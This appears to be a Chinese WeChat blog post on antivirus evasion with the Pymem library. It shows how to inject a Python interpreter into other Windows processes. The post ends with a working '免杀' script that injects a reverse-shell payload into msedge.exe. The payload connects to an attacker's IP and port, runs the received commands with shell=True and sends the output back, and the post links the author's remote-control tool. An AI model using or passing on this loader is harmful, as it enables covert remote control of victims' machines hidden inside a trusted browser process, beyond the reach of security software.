原创 EX HB网络安全探究实验室
微信号 gh_db29c88c5c87
功能介绍 人生不为一事则长 欲成一事则短
__发表于
收录于合集
#免杀 4 个
#黑客 12 个
#渗透测试 12 个
#网络安全 17 个
#脚本语言 4 个
源码:
H4ckBu7eer-EX/pymem_shellcodeloader: pymem加载shellcode到其他进程 (github.com)
各位大佬端午好!
最近在研究游戏逆向的时候,发现一个好玩的库——Pymem
Pymem文档
多说不宜,咱开门见山。这个Pymem除了修改内存,还可以将python解释器以dll的形式注入到其他进程,进而在其他进程内执行shellcode
贴一段官网介绍:
来看一段来自官方文档的代码,这段代码的使用 pymem 库来注入 Python 解释器和 Python shellcode 到 notepad.exe 进程中,注释很详细。
# 导入pymem模块,这是一个Python内存操作库 from pymem import Pymem # 导入os模块,这是一个提供了丰富的操作系统相关功能的库 import os # 导入subprocess模块,这是一个用于产生子进程,连接到它们的输入/输出/错误管道,获取它们的返回码的库 import subprocess
# 使用subprocess.Popen启动记事本程序,并获取其进程对象 notepad = subprocess.Popen(['notepad.exe'])
# 使用Pymem模块连接到记事本程序 pm = Pymem('notepad.exe')
# 在记事本程序中注入Python解释器 pm.inject_python_interpreter()
# 获取当前目录下的pymem_injection.txt文件的绝对路径,并将路径中的反斜杠替换为双反斜杠 filepath = os.path.join(os.path.abspath('.'), 'pymem_injection.txt') filepath = filepath.replace("\\", "\\\\")
# 定义要注入的Python代码,这段代码会在记事本程序中执行,它会打开一个文件,写入一些内容,然后关闭文件 shellcode = """ f = open("{}", "w+") f.write("pymem_injection") f.close() """.format(filepath) # 将定义的Python代码注入到记事本程序中 pm.inject_python_shellcode(shellcode)
# 结束记事本程序 notepad.kill()
运行代码后会在pymem_injection.txt里写入pymem_injection。
那我们可以尝试用这种方式实现加载shellcode实现上线
正文:
先创建一个函数,用来指定shellcode和注入的进程
def inject(shellcode,process): prcs = subprocess.Popen([process]) pm = Pymem(process) pm.inject_python_interpreter() pm.inject_python_shellcode(shellcode) prcs.kill()
然后写一段shellcode
filepath = os.path.join(os.path.abspath('.'), 'pymem_injection.txt') filepath = filepath.replace("\\", "\\\\") sc = """ f = open("{}", "w+") f.write("pymem_injection") f.close() """.format(filepath)
看一下 shellcode 长什么样子(见程序输出),运行后已经将 pymem_injection 写入了
好了让我们来看看免杀写出来是什么样子
免杀.py:
from pymemloader import inject sc="""import subprocessimport socketwith open('cfg', 'r') as f: sip = f.readline().strip() sport = int(f.readline().strip())print(sip,sport)client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client_socket.connect((sip, sport))while True: recv_data = client_socket.recv(20480) command=recv_data.decode('utf-8') result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) send_data=result.stdout.decode('gbk') client_socket.send(send_data.encode('utf-8'))""" #上面的loader可以用自己的pythonshellcodeloader #我这里用的是我的python小控https://github.com/H4ckBu7eer-EX/python_remote_CMD inject(sc,"msedge.exe")
done!
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看